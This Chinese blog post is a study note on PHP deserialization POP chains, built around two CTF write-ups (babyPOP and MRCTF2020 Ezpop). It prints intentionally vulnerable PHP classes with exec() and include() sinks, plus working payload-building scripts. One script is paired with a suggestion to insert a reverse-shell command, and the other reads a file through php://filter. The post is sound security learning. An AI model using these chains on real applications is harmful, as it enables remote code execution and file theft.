pop链的构建

前言

反序列化plus之pop链的构建,趁寒假还有点时间就继续学习下。

什么是pop链

在反序列化中,我们能控制的数据就是对象中的属性值,所以在PHP反序列化中有一种漏洞利用方法叫”面向属性编程”,即POP(Property Oriented Programming)。

在利用反序列化漏洞时,漏洞的利用点有时候并不会在魔术方法中,而是存在于普通方法中,这时候我们就要构建pop来逐步跟进调用函数,直到找到利用点。

例题理解

【极客大挑战2021】babyPOP

回顾一下去年极客大挑战这道POP题,先看代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
<?php
class a {
public static $Do_u_like_JiaRan = false;
public static $Do_u_like_AFKL = false;
}

class b {
private $i_want_2_listen_2_MaoZhongDu;
public function __construct()
{
$this->i_want_2_listen_2_MaoZhongDu;
}

public function __toString()
{
if (a::$Do_u_like_AFKL) {
return exec($this->i_want_2_listen_2_MaoZhongDu);
} else {
throw new Error("Noooooooooooooooooooooooooooo!!!!!!!!!!!!!!!!");
}
}
}

class c {
public $b;
public function __wakeup()
{
a::$Do_u_like_JiaRan = true;
}
}

class d {
public $value;
public function __invoke()
{
a::$Do_u_like_AFKL = true;
return "关注嘉然," . $this->value;
}
}

class e {
public $afkl;
public function __destruct()
{
if (a::$Do_u_like_JiaRan) {
($this->afkl)();
} else {
throw new Error("Noooooooooooooooooooooooooooo!!!!!!!!!!!!!!!!");
}
}
}

审计代码,类a中定义了两个静态变量,均为flase,接着看利用点在类b的exec函数中,而要利用这个函数需要满足$Do_u_like_AFKL为true,因此定位到类d,而__invoke方法需要使用调用函数的方式调用一个对象,因此定位到类e,发现需要$Do_u_like_JiaRan为true才可以,最后定位到类c。

理清逻辑后,我们发现c与e之间没有直接的桥梁,因此我们需要自定义变量连接两者,构建payload:

1
2
3
4
5
6
7
8
9
$c=new c();
$e=new e();
$d=new d();
$b=new b();
$b->i_want_2_listen_2_MaoZhongDu="xxxxxxx";
$d->value=$b;
$e->afkl=$d;
$c->b=$e;
echo base64_encode(serialize($c));

这题利用反弹shell原理对b赋值即可。

[MRCTF2020]Ezpop

这是一道比较经典的pop链的题目,很适合做参考。

源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
 <?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}

class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}

public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}

class Test{
public $p;
public function __construct(){
$this->p = array();
}

public function __get($key){
$function = $this->p;
return $function();
}
}

if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}

同样审计代码进行分析,首先找到利用点,发现类Modifier中存在include函数,确认这里为利用点。接着发现我们想要执行这个利用点,就需要调用append这个方法,而要调用这个方法就需要触发__invoke方法,因此我们需要传入var的值。

而要触发__invoke方法,则需要类Test中的属性$p,但是要调用__get方法才可以,而调用__get方法则需要给在类Show中的str赋值类Test的对象,由于类Test中没有属性$source所以可以调用。因此,我们需要调用__toString方法,而要调用这个方法需要类Show的对象被当成字符串操作,因此要利用__wakeup方法,这个方法中$source属性被当成字符串去比较。

逻辑整理完,构建payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
class Modifier {
protected $var="php://filter/convert.base64-encode/resource=flag.php";
}

class Show{
public $source;
public $str;
public function __construct($file){
$this->source = $file;
}
public function __toString(){
return "";
}
}

class Test{
public $p;
}

$a = new Show('a');
$a -> str = new Test();
$a -> str -> p = new Modifier();
$b = new Show($a);
echo urlencode(serialize($b));

最后传参即可得到flag。

魔术方法总结

魔术方法这块在之前的博客也简单提到了,由于pop链的构造整个机制对魔术方法的运用还是有一定要求的,这里就再复习下:

  • __construct(),类的构造函数
  • __destruct(),类的析构函数
  • __call(),在对象中调用一个不可访问方法时调用
  • __callStatic(),用静态方式中调用一个不可访问方法时调用
  • __get(),获得一个类的成员变量时调用
  • __set(),设置一个类的成员变量时调用
  • __isset(),当对不可访问属性调用isset()或empty()时调用
  • __unset(),当对不可访问属性调用unset()时被调用。
  • __sleep(),执行serialize()时,先会调用这个函数
  • __wakeup(),执行unserialize()时,先会调用这个函数
  • __toString(),类被当成字符串时的回应方法
  • __invoke(),调用函数的方式调用一个对象时的回应方法
  • __set_state(),调用var_export()导出类时,此静态方法会被调用。
  • __clone(),当对象复制完成时调用
  • __autoload(),尝试加载未定义的类
  • __debugInfo(),打印所需调试信息

具体分析参考下面这几篇博客:
PHP之十六个魔术方法详解
PHP反序列化和魔术方法

总结

pop链的构建还是具有一定难度的,对链条的逻辑需要有准确的判断,还是需要做一些练习来巩固的。还剩原生方法那一块没看,之后找个时间稍微学下。